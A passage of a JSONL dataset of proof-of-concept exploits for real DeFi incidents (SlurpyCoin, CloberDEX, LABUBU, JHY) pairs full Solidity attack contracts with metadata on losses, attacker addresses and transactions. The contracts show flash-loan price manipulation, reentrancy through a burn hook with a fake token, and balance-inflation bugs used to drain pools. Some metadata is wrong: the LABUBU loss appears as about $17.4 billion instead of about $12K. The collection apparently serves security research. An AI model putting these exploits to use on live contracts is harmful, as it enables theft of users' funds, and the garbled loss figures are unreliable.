^0.8.0;\n\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant SLURPY_ADDR = 0x72c114A1A4abC65BE2Be3E356eEde296Dbb8ba4c;\naddress constant DODO_ADDR = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\n\ncontract SlurpyCoin is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 44990635 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n // Step 1: borrow 40 WBNB from DODO\n IDodo(DODO_ADDR).flashLoan(40 ether, 0, address(this), hex\"00\");\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {\n IERC20 wbnb = IERC20(WBNB_ADDR);\n IERC20 slurpy = IERC20(SLURPY_ADDR);\n \n wbnb.approve(PANCAKE_ROUTER, type(uint256).max);\n\n IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));\n address[] memory path = new address[](2);\n path[0] = WBNB_ADDR;\n path[1] = SLURPY_ADDR;\n\n // Step 2: trigger the BuyOrSell() function via slurpy.transfer to manipulate the token price\n uint256 amountOut = 1_300_000 ether;\n uint256 swapAmountOut = amountOut;\n for (uint256 i = 0; i < 16; i++) {\n uint256[] memory amounts = router.getAmountsIn(swapAmountOut, path);\n router.swapTokensForExactTokens(swapAmountOut, amounts[0], path, address(this), block.timestamp);\n for (uint256 j = 0; j < 15; j++) {\n uint256 amount = 100_000 ether;\n uint256 slurpyBal = 0;\n uint256 bal = 0;\n if (!(i > 0 && j == 0)) {\n slurpyBal = slurpy.balanceOf(SLURPY_ADDR);\n bal = slurpy.balanceOf(address(this));\n if (bal < amount) {\n swapAmountOut = amountOut - bal;\n break;\n }\n }\n slurpy.transfer(SLURPY_ADDR, amount - slurpyBal);\n // trigger the swapEthForTokens()\n slurpy.transfer(address(this), 1 wei);\n if (i == 15 && j >= 6) {\n break;\n }\n }\n }\n\n // Step 3: buy more slurpy tokens and send to helper contracts\n amountOut = 1_300_000 ether;\n address[] memory helpers = new address[](8);\n for (uint256 i = 0; i < helpers.length; i++) {\n uint256[] memory amounts = router.getAmountsIn(amountOut, path);\n Helper h = new Helper();\n helpers[i] = address(h);\n router.swapTokensForExactTokens(amountOut, amounts[0], path, address(h), block.timestamp);\n }\n\n wbnb.approve(PANCAKE_ROUTER, 0);\n slurpy.approve(PANCAKE_ROUTER, type(uint256).max);\n\n address[] memory path2 = new address[](2);\n path2[0] = SLURPY_ADDR;\n path2[1] = WBNB_ADDR;\n // Step 4: sell slurpy tokens for a higher price\n for (uint256 i = 0; i < helpers.length; i++) {\n uint256 bal = slurpy.balanceOf(address(this));\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(bal, 0, path2, address(this), block.timestamp);\n uint256 helperBal = slurpy.balanceOf(helpers[i]);\n if (helperBal == 0) {\n break;\n }\n Helper(helpers[i]).widthdraw(SLURPY_ADDR);\n }\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(slurpy.balanceOf(address(this)), 0, path2, address(this), block.timestamp);\n\n slurpy.approve(PANCAKE_ROUTER, 0);\n\n // Step 5: pay back the loan\n wbnb.transfer(DODO_ADDR, baseAmount);\n\n // Step 6: WBNB -> BNB\n wbnb.withdraw(wbnb.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n\ninterface ISlurpy {\n function isExcludedFromFee(address account) external view returns (bool);\n}\n\ninterface IDodo {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n function _BASE_RESERVE_() external view returns (uint256);\n function _BASE_TOKEN_() external view returns (address);\n}\n\ncontract Helper {\n function widthdraw(address token) public {\n uint256 bal = IERC20(token).balanceOf(address(this));\n IERC20(token).transfer(msg.sender, bal);\n }\n}\n", "type": "exploit_poc", "protocol": "SlurpyCoin", "date": "2024-12", "file_name": "SlurpyCoin_exp.sol", "attack_vector": "flash_loan", "content_hash": "c9a528c2977ab011", "collected_at": "2026-01-07T10:59:16.545398", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "3k USD", "total_lost_usd": 3000.0, "attacker_address": "https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138", "attack_contract": "https://bscscan.com/address/0x051e057ea275caf9a73578a97af6e8965e5a2349", "vulnerable_contract": "https://bscscan.com/address/0x72c114A1A4abC65BE2Be3E356eEde296Dbb8ba4c", "attack_tx": "https://bscscan.com/tx/0x6c729ee778332244de099ba0cb68808fcd7be4a667303fcdf2f54dd4b3d29051", "postmortem_url": null, "twitter_url": "https://x.com/CertiKAlert/status/1869580379675590731", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "3k USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n // Step 1: borrow 40 WBNB from DODO\n IDodo(DODO_ADDR).flashLoan(40 ether, 0, address(this), hex\"00\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "3k USD", "keyinfo_attacker": "https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138", "keyinfo_attack_contract": "https://bscscan.com/address/0x051e057ea275caf9a73578a97af6e8965e5a2349", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x72c114A1A4abC65BE2Be3E356eEde296Dbb8ba4c", "keyinfo_attack_tx": "https://bscscan.com/tx/0x6c729ee778332244de099ba0cb68808fcd7be4a667303fcdf2f54dd4b3d29051", "analysis_postmortem": "", "analysis_twitter": "https://x.com/CertiKAlert/status/1869580379675590731", "funds_lost_formatted": "$3.0K", "content_richness_score": 9.64, "quality_estimate": "high", "title": "SlurpyCoin Exploit (2024-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ $501 K US$ (133.7 WETH)\n// Attacker : https://basescan.org/address/0x012Fc6377F1c5CCF6e29967Bce52e3629AaA6025\n// Attack Contract : https://basescan.org/address/0x32Fb1BedD95BF78ca2c6943aE5AEaEAAFc0d97C1\n// Fake Token Contract : https://basescan.org/address/0xd3c8d0cd07Ade92df2d88752D36b80498cA12788\n// Vulnerable Contract : https://basescan.org/address/0x6A0b87D6b74F7D5C92722F6a11714DBeDa9F3895\n// Attack Tx : https://basescan.org/tx/0x8fcdfcded45100437ff94801090355f2f689941dca75de9a702e01670f361c04\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0x6a0b87d6b74f7d5c92722f6a11714dbeda9f3895#code#F1#L277\n\n// @Analysis\n// Certik : https://www.certik.com/resources/blog/clober-dex-incident-analysis\n// PeckShield : https://x.com/peckshield/status/1866443215186088048\n// SolidityScan : https://blog.solidityscan.com/cloberdex-liquidity-vault-hack-analysis-f22eb960aa6f\n\ntype Currency is address;\ntype FeePolicy is uint24;\n\ninterface IRebalancer {\n\n function bookManager() external view returns(address);\n\n function open(\n IBookManager.BookKey calldata bookKeyA,\n IBookManager.BookKey calldata bookKeyB,\n bytes32 salt,\n address strategy\n ) external returns (bytes32 key);\n\n function mint(\n bytes32 key,\n uint256 amountA,\n uint256 amountB,\n uint256 minLpAmount\n ) external payable returns (uint256);\n\n function burn(\n bytes32 key,\n uint256 amount,\n uint256 minAmountA,\n uint256 minAmountB\n ) external returns (uint256, uint256);\n}\n\ninterface IHooks {}\n\ninterface IBookManager {\n struct BookKey {\n Currency base;\n uint64 unitSize;\n Currency quote;\n FeePolicy makerPolicy;\n IHooks hooks;\n FeePolicy takerPolicy;\n }\n\n function open(BookKey calldata key, bytes calldata hookData) external;\n}\n\ncontract CloberDex is BaseTestWithBalanceLog {\n uint256 public blocknumToForkFrom = 23_514_451 - 1;\n address public weth = 0x4200000000000000000000000000000000000006;\n address public morphoBlue = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;\n address public rebalancer = 0x6A0b87D6b74F7D5C92722F6a11714DBeDa9F3895;\n address public attacker = 0x012Fc6377F1c5CCF6e29967Bce52e3629AaA6025;\n \n FakeToken fakeToken;\n uint256 public amountToHack;\n uint256 public rebalancerWETH;\n bool public reEntry = false;\n IMorphoBuleFlashLoan public morpho;\n IRebalancer public rebalancerContract;\n\n function setUp() public {\n // evm_version Requires to be \"cancun\"\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n deal(address(this), 0);\n deal(msg.sender, 1e18);\n morpho = IMorphoBuleFlashLoan(payable(morphoBlue));\n fakeToken = new FakeToken(\"Fake Token\", \"FAKE\", 1000 ether);\n rebalancerContract = IRebalancer(rebalancer);\n\n vm.label(weth, \"WETH Token\");\n vm.label(morphoBlue, \"Morpho Blue\");\n vm.label(rebalancer, \"Rebalancer Contract\");\n vm.label(address(fakeToken), \"Fake Token\");\n\n }\n\n function testRealAttacker() public {\n emit log_named_decimal_uint(\"The Real Attacker's ETH before the attack:\", address(attacker).balance / 1e18, 0);\n vm.createSelectFork(\"base\", blocknumToForkFrom + 1);\n emit log_named_decimal_uint(\"The Real Attacker's ETH after the attack:\", address(attacker).balance / 1e18, 0);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker ETH Balance Before exploit:\", address(msg.sender).balance / 1e18, 0);\n\n rebalancerWETH = IERC20(weth).balanceOf(rebalancer);\n emit log_named_decimal_uint(\"Rebalancer WETH Balance Before exploit:\", rebalancerWETH, 18);\n\n amountToHack = rebalancerWETH * 2;\n\n // 1. Flash Loan\n console.log(\"--- Flash Loan and Exploit ---\");\n morpho.flashLoan(weth, amountToHack, \"0\");\n\n emit log_named_decimal_uint(\"Exploit Contract WETH Balance After exploit:\", IERC20(weth).balanceOf(address(this)) / 1e18, 0);\n emit log_named_decimal_uint(\"Rebalancer WETH Balance After exploit:\", IERC20(weth).balanceOf(rebalancer), 18);\n\n console.log(\"--- Withdrawn WETH to ETH ---\");\n IERC20(weth).withdraw(rebalancerWETH);\n payable(msg.sender).call{value: rebalancerWETH}(\"\");\n emit log_named_decimal_uint(\"Attacker ETH Balance After exploit:\", address(msg.sender).balance / 1e18, 0);\n }\n\n function onMorphoFlashLoan(uint256 amount, bytes calldata data) external {\n IHooks hooksA =IHooks(address(0x0000000000000000000000000000000000000000));\n Currency baseCurrencyA = Currency.wrap(weth);\n Currency quoteA = Currency.wrap(address(fakeToken));\n FeePolicy makerPolicyA = FeePolicy.wrap(uint24(888608));\n\n IBookManager.BookKey memory bookKeyA = IBookManager.BookKey({\n base: baseCurrencyA,\n unitSize: 1,\n quote: quoteA,\n makerPolicy: FeePolicy.wrap(8888608),\n hooks: hooksA,\n takerPolicy: FeePolicy.wrap(8888708)\n });\n\n IBookManager.BookKey memory bookKeyB = IBookManager.BookKey({\n base: quoteA,\n unitSize: 1,\n quote: baseCurrencyA,\n makerPolicy: FeePolicy.wrap(8888608),\n hooks: hooksA,\n takerPolicy: FeePolicy.wrap(8888708)\n });\n\n // 2. Build the pool between WETH and Fake Token\n bytes32 poolKey = rebalancerContract.open(bookKeyA,bookKeyB,\"1\",address(this));\n\n // 3. Approve tokens\n fakeToken.approve(rebalancer, type(uint256).max);\n IERC20(weth).approve(rebalancer, amountToHack);\n\n // 4. Add liquidity (mint LP Token)\n rebalancerContract.mint(poolKey, amountToHack, amountToHack, 0);\n\n // 5. Burn LP Token, extracting WETH from the pool\n rebalancerContract.burn(poolKey, rebalancerWETH, 0, 0);\n\n IERC20(weth).approve(morphoBlue, amount);\n }\n\n function burnHook(address receiver, bytes32 key, uint256 burnAmount, uint256 lastTotalSupply ) external{\n if(reEntry == false){\n reEntry=true;\n // 6. Extract WETH from the pool again\n IRebalancer(rebalancer).burn(key,rebalancerWETH,0,0);\n }\n }\n function mintHook(address receiver,bytes32 key, uint256 amount,uint256 amount2) external{}\n\n fallback() external payable {}\n}\n\n\ncontract FakeToken {\n string public name;\n string public symbol;\n uint8 public decimals = 18;\n uint256 public totalSupply;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowances;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n constructor(string memory _name, string memory _symbol, uint256 _initialSupply) {\n name = _name;\n symbol = _symbol;\n totalSupply = _initialSupply;\n balances[msg.sender] = totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n return true;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address from, address to, uint256 amount) public returns (bool) {\n require(allowances[from][msg.sender] >= amount, \"Allowance exceeded\");\n require(balances[from] >= amount, \"Insufficient balance\");\n balances[from] -= amount;\n balances[to] += amount;\n allowances[from][msg.sender] -= amount;\n emit Transfer(from, to, amount);\n return true;\n }\n\n function allowance(address owner, address spender) public view returns (uint256) {\n return allowances[owner][spender];\n }\n}", "type": "exploit_poc", "protocol": "CloberDEX", "date": "2024-12", "file_name": "CloberDEX_exp.sol", "attack_vector": "flash_loan", "content_hash": "1400dec5e6f04467", "collected_at": "2026-01-07T10:59:16.545459", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "~ $501 K US$ (133.7 WETH)", "total_lost_usd": 501000.0, "attacker_address": "https://basescan.org/address/0x012Fc6377F1c5CCF6e29967Bce52e3629AaA6025", "attack_contract": "https://basescan.org/address/0x32Fb1BedD95BF78ca2c6943aE5AEaEAAFc0d97C1", "vulnerable_contract": "https://basescan.org/address/0x6A0b87D6b74F7D5C92722F6a11714DBeDa9F3895", "attack_tx": "https://basescan.org/tx/0x8fcdfcded45100437ff94801090355f2f689941dca75de9a702e01670f361c04", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~ $501 K US$ (133.7 WETH)", "category": "flash-loan", "exploit_code": "function testRealAttacker() public {\n emit log_named_decimal_uint(\"The Real Attacker's ETH before the attack:\", address(attacker).balance / 1e18, 0);\n vm.createSelectFork(\"base\", blocknumToForkFrom + 1);\n emit log_named_decimal_uint(\"The Real Attacker's ETH after the attack:\", address(attacker).balance / 1e18, 0);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ $501 K US$ (133.7 WETH)", "keyinfo_attacker": "https://basescan.org/address/0x012Fc6377F1c5CCF6e29967Bce52e3629AaA6025", "keyinfo_attack_contract": "https://basescan.org/address/0x32Fb1BedD95BF78ca2c6943aE5AEaEAAFc0d97C1", "keyinfo_vulnerable_contract": "https://basescan.org/address/0x6A0b87D6b74F7D5C92722F6a11714DBeDa9F3895", "keyinfo_attack_tx": "https://basescan.org/tx/0x8fcdfcded45100437ff94801090355f2f689941dca75de9a702e01670f361c04", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$501.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "CloberDEX Exploit (2024-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 17.4 BNB (~ $12,048)\n// Attacker : https://bscscan.com/address/0x27441c62dbe261fdf5e1feec7ed19cf6820d583b\n// Attack Contract : https://bscscan.com/address/0x2ff0cc42e513535bd56be20c3e686a58608260ca\n// Vulnerable Contract : https://bscscan.com/address/0x2ff960f1d9af1a6368c2866f79080c1e0b253997#code\n// Attack Tx : https://bscscan.com/tx/0xb06df371029456f2bf2d2edb732d1f3c8292d4271d362390961fdcc63a2382de\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a#code\n// L127 ~ L138\n\n// @Analysis\n// Twitter Guy : https://x.com/TenArmorAlert/status/1866481066610958431\n\naddress constant PancakeV3Pool = 0xe70294c3D81ea914A883ad84fD80473C048C028C;\naddress constant PancakeV3Router = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;\naddress constant PancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\naddress constant LABUBU = 0x2fF960F1D9AF1A6368c2866f79080C1E0B253997;\naddress constant VOVO = 0x58B26C9b2d32dF1D0E505BCCa2D776698c9bE6B6;\naddress constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\ncontract LABUBU_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 44751945 - 1);\n\n vm.label(PancakeV3Pool, \"PancakeV3Pool\");\n vm.label(PancakeV3Router, \"PancakeSwap: Smart Router V3\");\n vm.label(PancakeV2Router, \"PancakeSwap: Router v2\");\n\n vm.label(LABUBU, \"LABUBU\");\n vm.label(VOVO, \"VOVO Token\");\n vm.label(wBNB, \"wBNB\");\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n\n AttackerC attC = new AttackerC();\n attC.attack();\n\n emit log_named_decimal_uint(\"Profit in BNB\", attacker.balance, 18);\n\n vm.stopPrank();\n }\n}\n\ncontract AttackerC {\n\n address public immutable owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function attack() public {\n // console.log(IPancakeV3Pool(PancakeV3Pool).token0()); // LABUBU\n // console.log(IPancakeV3Pool(PancakeV3Pool).token1()); // VOVO Token\n\n uint256 amount0 = IERC20(LABUBU).balanceOf(PancakeV3Pool);\n // console.log(amount0); // 415636276381601458\n // console.logBytes(abi.encode(PancakeV3Pool, amount0)); // 0x000000000000000000000000e70294c3d81ea914a883ad84fd80473c048c028c00000000000000000000000000000000000000000000000005c4a2fdc17dceb2\n\n IPancakeV3Pool(PancakeV3Pool).flash(\n address(this),\n amount0,\n 0,\n abi.encode(PancakeV3Pool, amount0)\n );\n\n // Balance of LABUBU\n uint256 balance = IERC20(LABUBU).balanceOf(address(this));\n // console.log(balance); // 12468049200757089736\n\n uint24 fee = IPancakeV3Pool(PancakeV3Pool).fee();\n // console.log(fee); // 2500\n\n IERC20(LABUBU).approve(PancakeV3Router, balance);\n IPancakeSwapRouterV3.ExactInputSingleParams memory params = IPancakeSwapRouterV3.ExactInputSingleParams({\n tokenIn: LABUBU,\n tokenOut: VOVO,\n fee: fee,\n recipient: address(this),\n amountIn: balance,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n uint256 amountOut = IPancakeSwapRouterV3(PancakeV3Router).exactInputSingle(params);\n\n // console.log(amountOut);\n // console.log(IERC20(VOVO).balanceOf(address(this)));\n\n IERC20(VOVO).approve(PancakeV2Router, amountOut);\n address[] memory path = new address[](2);\n path[0] = VOVO;\n path[1] = wBNB;\n Uni_Router_V2(PancakeV2Router).swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountOut, 0, path, address(this), block.timestamp + 60\n );\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n\n (address pool, uint256 amount0) = abi.decode(data, (address, uint256));\n\n for (uint i = 0; i < 30; i++) {\n IERC20(LABUBU).transfer(address(this), amount0);\n }\n\n // Return the borrowed amount + fee\n IERC20(LABUBU).transfer(pool, amount0+fee0);\n }\n\n fallback() external payable {\n // console.log(\"Received BNB:\", msg.value);\n payable(owner).transfer(msg.value);\n }\n}\n\ninterface IPancakeSwapRouterV3 {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams calldata params\n ) external payable returns (uint256 amountOut);\n}", "type": "exploit_poc", "protocol": "LABUBU", "date": "2024-12", "file_name": "LABUBU_exp.sol", "attack_vector": null, "content_hash": "38c47d7bebea3db9", "collected_at": "2026-01-07T10:59:16.545535", "_source": "postmortems", "chain": "bsc", "block_number": 44751945, "total_lost_raw": "17.4 BNB (~ $12,048)", "total_lost_usd": 17400000000.0, "attacker_address": "https://bscscan.com/address/0x27441c62dbe261fdf5e1feec7ed19cf6820d583b", "attack_contract": "https://bscscan.com/address/0x2ff0cc42e513535bd56be20c3e686a58608260ca", "vulnerable_contract": "https://bscscan.com/address/0x2ff960f1d9af1a6368c2866f79080c1e0b253997#code", "attack_tx": "https://bscscan.com/tx/0xb06df371029456f2bf2d2edb732d1f3c8292d4271d362390961fdcc63a2382de", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1866481066610958431", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "17.4 BNB (~ $12,048)", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n\n AttackerC attC = new AttackerC();\n attC.attack();\n\n emit log_named_decimal_uint(\"Profit in BNB\", attacker.balance, 18);\n\n vm.stopPrank();\n }\n}\n\ncontract AttackerC {\n\n address public immutable owner;\n\n constructor() {\n owner = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "17.4 BNB (~ $12,048)", "keyinfo_attacker": "https://bscscan.com/address/0x27441c62dbe261fdf5e1feec7ed19cf6820d583b", "keyinfo_attack_contract": "https://bscscan.com/address/0x2ff0cc42e513535bd56be20c3e686a58608260ca", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x2ff960f1d9af1a6368c2866f79080c1e0b253997#code", "keyinfo_attack_tx": "https://bscscan.com/tx/0xb06df371029456f2bf2d2edb732d1f3c8292d4271d362390961fdcc63a2382de", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1866481066610958431", "funds_lost_formatted": "$17400.00M", "content_richness_score": 8.41, "quality_estimate": "high", "title": "LABUBU Exploit (2024-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 11k USD\n// Attacker : https://bscscan.com/address/0x00000000dd0412366388639b1101544fff2dce8d\n// Attack Contract : https://bscscan.com/address/0x802a389072c4310cf78a2e654fa50fac8bdc1a55\n// Vulnerable Contract : https://bscscan.com/address/0x40Cd735D49e43212B5cb0b19773Ec2A648aAA96c\n// Attack Tx : https://bscscan.com/tx/0xb6a9055e3ce7f006391760fbbcc4e4bc8df8228dc47a8bb4ff657370ccc49256\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x40Cd735D49e43212B5cb0b19773Ec2A648aAA96c#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1867950089156575317\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant PANCAKE_V3_POOL = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant PANCAKE_LP = 0x086Ecf61469c741a6f97D80F2F43342af3dBDB9B;\naddress constant JHY_ADDR = 0x30Bea8Ce5CD1BA592eb13fCCd8973945Dc8555c5;\naddress constant DIVIDEND_JHYLP = 0x40Cd735D49e43212B5cb0b19773Ec2A648aAA96c;\n\ncontract Jhy is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 44857311 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = BSC_USD;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n AttackContract1 attackContract1 = new AttackContract1();\n attackContract1.attack();\n }\n}\n\ncontract AttackContract1 {\n address public attacker;\n constructor() {\n attacker = msg.sender;\n }\n function attack() public {\n AttackContract2 attackContract2 = new AttackContract2();\n attackContract2.attack();\n }\n\n function callback(uint256 payback) public {\n address[] memory BSC_JHY_PATH = new address[](2);\n BSC_JHY_PATH[0] = BSC_USD;\n BSC_JHY_PATH[1] = JHY_ADDR;\n address[] memory JHY_BSC_PATH = new address[](2);\n JHY_BSC_PATH[0] = JHY_ADDR;\n JHY_BSC_PATH[1] = BSC_USD;\n\n IERC20(BSC_USD).allowance(address(this), PANCAKE_ROUTER);\n IERC20(BSC_USD).approve(PANCAKE_ROUTER, type(uint256).max);\n\n // This line will trigger a bug in the DIVIDEND_JHYLP contract\n // which will set the address balance to the LP token balance.\n // 20,000 BSC -> 134,254 JHY\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(20_000 ether, 0, BSC_JHY_PATH, address(this), block.timestamp);\n uint256 bscBalance = IERC20(BSC_USD).balanceOf(address(this));\n uint256 jhyBalance = IERC20(JHY_ADDR).balanceOf(address(this));\n console.log(\"bsc balance after 1st swap\", bscBalance / 1 ether);\n console.log(\"jhy balance after 1st swap\", jhyBalance / 1 ether);\n\n // add 5000 ether BSC to LP\n IERC20(JHY_ADDR).approve(PANCAKE_ROUTER, type(uint256).max);\n uint256 amountBDesired = 127541761017672381768022;\n IPancakeRouter(payable(PANCAKE_ROUTER)).addLiquidity(BSC_USD, JHY_ADDR, bscBalance, amountBDesired, 0, 0, address(this), block.timestamp);\n\n IERC20(PANCAKE_LP).approve(PANCAKE_ROUTER, type(uint256).max);\n \n uint256 removeLiquidity = 122934591410901927668;\n IPancakeRouter(payable(PANCAKE_ROUTER)).removeLiquidity(BSC_USD, JHY_ADDR, removeLiquidity, 0, 0, address(this), block.timestamp);\n IPancakeRouter(payable(PANCAKE_ROUTER)).removeLiquidity(BSC_USD, JHY_ADDR, removeLiquidity, 0, 0, address(this), block.timestamp);\n IPancakeRouter(payable(PANCAKE_ROUTER)).removeLiquidity(BSC_USD, JHY_ADDR, removeLiquidity, 0, 0, address(this), block.timestamp);\n console.log(\"jhy balance after 3 removeLiquidity operations\", IERC20(JHY_ADDR).balanceOf(address(this)) / 1 ether);\n\n // 101,964 JHY -> 14,381 BSC\n jhyBalance = IERC20(JHY_ADDR).balanceOf(address(this));\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(jhyBalance, 0, JHY_BSC_PATH, address(this), block.timestamp);\n\n jhyBalance = IERC20(JHY_ADDR).balanceOf(address(this));\n removeLiquidity = 11924655366857486983814;\n IPancakeRouter(payable(PANCAKE_ROUTER)).removeLiquidity(BSC_USD, JHY_ADDR, removeLiquidity, 0, 0, address(this), block.timestamp);\n console.log(\"jhy balance after 4th removeLiquidity\", IERC20(JHY_ADDR).balanceOf(address(this)) / 1 ether);\n\n // 130,201 JHY -> 17,119 BSC\n jhyBalance = IERC20(JHY_ADDR).balanceOf(address(this));\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(jhyBalance, 0, JHY_BSC_PATH, address(this), block.timestamp);\n\n bscBalance = IERC20(BSC_USD).balanceOf(address(this));\n IERC20(BSC_USD).transfer(PANCAKE_V3_POOL, payback);\n IERC20(BSC_USD).transfer(attacker, bscBalance - payback);\n }\n}\n\ncontract AttackContract2 {\n address public attackContract1;\n constructor() {\n attackContract1 = msg.sender;\n }\n function attack() public {\n IPancakeV3Pool(PANCAKE_V3_POOL).flash(address(this), 25_000 ether, 0, \"\");\n \n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {\n IERC20(BSC_USD).transfer(attackContract1, 25_000 ether);\n AttackContract1(attackContract1).callback(fee0 + 25_000 ether);\n }\n}", "type": "exploit_poc", "protocol": "JHY", "date": "2024-12", "file_name": "JHY_exp.sol", "attack_vector": null, "content_hash": "6791f708796f249c", "collected_at": "2026-01-07T10:59:16.545601", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "11k USD", "total_lost_usd": 11000.0, "attacker_address": "https://bscscan.com/address/0x00000000dd0412366388639b1101544fff2dce8d", "attack_contract": "https://bscscan.com/address/0x802a389072c4310cf78a2e654fa50fac8bdc1a55", "vulnerable_contract": "https://bscscan.com/address/0x40Cd735D49e43212B5cb0b19773Ec2A648aAA96c", "attack_tx": "https://bscscan.com/tx/0xb6a9055e3ce7f006391760fbbcc4e4bc8df8228dc47a8bb4ff657370ccc49256", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1867950089156575317", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "11k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n AttackContract1 attackContract1 = new AttackContract1();\n attackContract1.attack();\n }\n}\n\ncontract AttackContract1 {\n address public attacker;\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "11k USD", "keyinfo_attacker": "https://bscscan.com/address/0x00000000dd0412366388639b1101544fff2dce8d", "keyinfo_attack_contract": "https://bscscan.com/address/0x802a389072c4310cf78a2e654fa50fac8bdc1a55", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x40Cd735D49e43212B5cb0b19773Ec2A648aAA96c", "keyinfo_attack_tx": "https://bscscan.com/tx/0xb6a9055e3ce7f006391760fbbcc4e4bc8df8228dc47a8bb4ff657370ccc49256", "analysis_postmortem": "", "analysis_twitter": 